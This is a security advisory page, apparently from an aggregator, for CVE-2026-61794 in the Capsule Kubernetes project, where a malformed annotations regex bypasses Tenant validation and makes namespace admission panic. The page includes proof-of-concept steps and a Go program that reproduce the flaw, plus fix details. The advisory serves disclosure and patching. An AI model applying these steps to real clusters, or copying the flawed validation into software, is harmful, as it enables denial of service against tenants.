# CVE-2026-61794: Capsule: Malformed ForbiddenAnnotations.Regex can bypass Tenant validation and trigger namespace admission panic

> CVE-2026-61794 (GitHub advisory GHSA-gxjc-74v5-3vx3) is a medium-severity vulnerability with a CVSS 3.1 base score of 4.9, classed as Improper Input Validation (CWE-20), in github.com/projectcapsule/capsule (Go). Affected versions: >= 0.13.0, < 0.13.7. It is fixed in 0.13.7.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-61794

| Field | Value |
| --- | --- |
| CVE | CVE-2026-61794 |
| GHSA | GHSA-gxjc-74v5-3vx3 |
| Severity | Medium |
| CVSS 3.1 | 4.9 `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H` (GitHub Advisory Database) |
| CVSS 3.1 | 6.8 `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H` (CVE.org) |
| CWE | CWE-20 Improper Input Validation |
| EPSS | 0.32% (higher than 26% of CVEs) |
| CISA KEV | Not listed |
| Published | 18 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

A validation bug in `internal/webhook/tenant/validation/forbidden_annotations_regex.go` allows an invalid `ForbiddenAnnotations.Regex` value to bypass Tenant admission on update. The webhook compiles `ForbiddenLabels.Regex` for both labels and annotations, so a malformed annotations regex can be persisted. Once stored, namespace admission later evaluates the bad regex through `pkg/api/forbidden_list.go`, where `regexp.MustCompile` can panic and cause admission failure.

##### Details
In `internal/webhook/tenant/validation/forbidden_annotations_regex.go`, `OnUpdate` validates the new Tenant object, but the loop compiles `tnt.Spec.NamespaceOptions.ForbiddenLabels.Regex` for both `labels` and `annotations`. That means an invalid `ForbiddenAnnotations.Regex` is never validated if `ForbiddenLabels.Regex` is valid.

Relevant paths:
- `internal/webhook/tenant/validation/forbidden_annotations_regex.go`
- `internal/webhook/namespace/validation/user_metadata.go`
- `pkg/api/forbidden_list.go`

Namespace admission later calls `api.ValidateForbidden(...)`, and `ForbiddenListSpec.RegexMatch()` uses `regexp.MustCompile(in.Regex)`. If the malformed regex is present in the Tenant spec, any namespace request that reaches this check can panic or fail hard, causing denial of service for namespace operations in the affected tenant.


##### PoC
1. Update a Tenant so that:
   - `spec.namespaceOptions.forbiddenLabels.regex` is valid
   - `spec.namespaceOptions.forbiddenAnnotations.regex` is malformed, for example: `[invalid-regex(`
2. The Tenant update is accepted because the webhook compiles the labels regex for both fields.
3. Create or update a Namespace that triggers forbidden metadata validation.
4. The namespace admission path reaches `regexp.MustCompile(...)` and panics.

```
package main

import (
	"fmt"
	"regexp"
)

type ForbiddenListSpec struct {
	Regex string
}

type NamespaceOptions struct {
	ForbiddenLabels      ForbiddenListSpec
	ForbiddenAnnotations ForbiddenListSpec
}

type Tenant struct {
	NamespaceOptions *NamespaceOptions
}

func validateTenantUpdate(tnt *Tenant) error {
	if tnt.NamespaceOptions == nil {
		return nil
	}

	annotationsToCheck := map[string]string{
		"labels":      tnt.NamespaceOptions.ForbiddenLabels.Regex,
		"annotations": tnt.NamespaceOptions.ForbiddenAnnotations.Regex,
	}

	for scope, annotation := range annotationsToCheck {
		if _, err := regexp.Compile(tnt.NamespaceOptions.ForbiddenLabels.Regex); err != nil {
			return fmt.Errorf("deny update: unable to compile %s regex for forbidden %s", annotation, scope)
		}
	}

	return nil
}

func validateForbidden(metadata map[string]string, forbidden ForbiddenListSpec) error {
	for key := range metadata {
		if forbidden.Regex != "" {
			if regexp.MustCompile(forbidden.Regex).MatchString(key) {
				return fmt.Errorf("forbidden key matched: %s", key)
			}
		}
	}

	return nil
}

func main() {
	oldTenant := &Tenant{
		NamespaceOptions: &NamespaceOptions{
			ForbiddenLabels:      ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
			ForbiddenAnnotations: ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
		},
	}

	newTenant := &Tenant{
		NamespaceOptions: &NamespaceOptions{
			ForbiddenLabels:      ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
			ForbiddenAnnotations: ForbiddenListSpec{Regex: `[invalid-regex(`},
		},
	}

	fmt.Println("=== Update step ===")
	if err := validateTenantUpdate(newTenant); err != nil {
		fmt.Printf("unexpected deny: %v\n", err)
	} else {
		fmt.Println("allowed: malformed ForbiddenAnnotations.Regex bypassed validation")
	}

	fmt.Println()
	fmt.Println("=== Namespace step ===")
	_ = oldTenant

	defer func() {
		if r := recover(); r != nil {
			fmt.Printf("panic reproduced from ValidateForbidden: %v\n", r)
		}
	}()

	_ = validateForbidden(map[string]string{"example": "value"}, ForbiddenListSpec{Regex: `[invalid-regex(`})
	fmt.Println("no panic, unexpected")
}
```
Expected output:

```text
=== Update step ===
allowed: malformed ForbiddenAnnotations.Regex bypassed validation

=== Namespace step ===
panic reproduced from ValidateForbidden: regexp: Compile(`[invalid-regex(`): error parsing regexp: missing closing ]: `[invalid-regex(`
```



##### Impact
An attacker who can update the Tenant configuration can persist a malformed `ForbiddenAnnotations.Regex` and cause namespace admission failures for the affected tenant. This can result in a tenant-scoped denial of service.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| github.com/projectcapsule/capsule | Go | `pkg:golang/github.com/projectcapsule/capsule` | >= 0.13.0, < 0.13.7 | 0.13.7 |

## Fix commits

- Patch: https://github.com/projectcapsule/capsule/commit/8d89d6865df6f41c7faa22fc9e807a57b01bfd0e
- Pull request: https://github.com/projectcapsule/capsule/pull/1983

## Questions

**What is the GHSA ID for CVE-2026-61794?**

GitHub tracks CVE-2026-61794 as GHSA-gxjc-74v5-3vx3.

**What is the CVSS score of CVE-2026-61794?**

CVE-2026-61794 has a CVSS 3.1 base score of 4.9 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H. Other published scores: CVSS 3.1 6.8.

**Which versions are affected by CVE-2026-61794?**

github.com/projectcapsule/capsule (Go): >= 0.13.0, < 0.13.7.

**How do I fix CVE-2026-61794?**

Upgrade to 0.13.7 or later. The fix is in commit 8d89d68 and pull request #1983.

**What is the Package URL (PURL) for CVE-2026-61794?**

The affected package's PURL is pkg:golang/github.com/projectcapsule/capsule.

**Is CVE-2026-61794 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61794. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. EPSS estimates a 0.32% chance of exploitation in the next 30 days, higher than 26% of CVEs.

## References

- https://github.com/projectcapsule/capsule/pull/1983 (fix)
- https://github.com/projectcapsule/capsule/commit/8d89d6865df6f41c7faa22fc9e807a57b01bfd0e (fix)
- https://github.com/projectcapsule/capsule/security/advisories/GHSA-gxjc-74v5-3vx3 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61794.json (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-61794 (advisory)
- https://github.com/advisories/GHSA-gxjc-74v5-3vx3 (advisory)
- https://github.com/projectcapsule/capsule (package)
- https://github.com/projectcapsule/capsule/releases/tag/v0.13.7

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-61794), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.
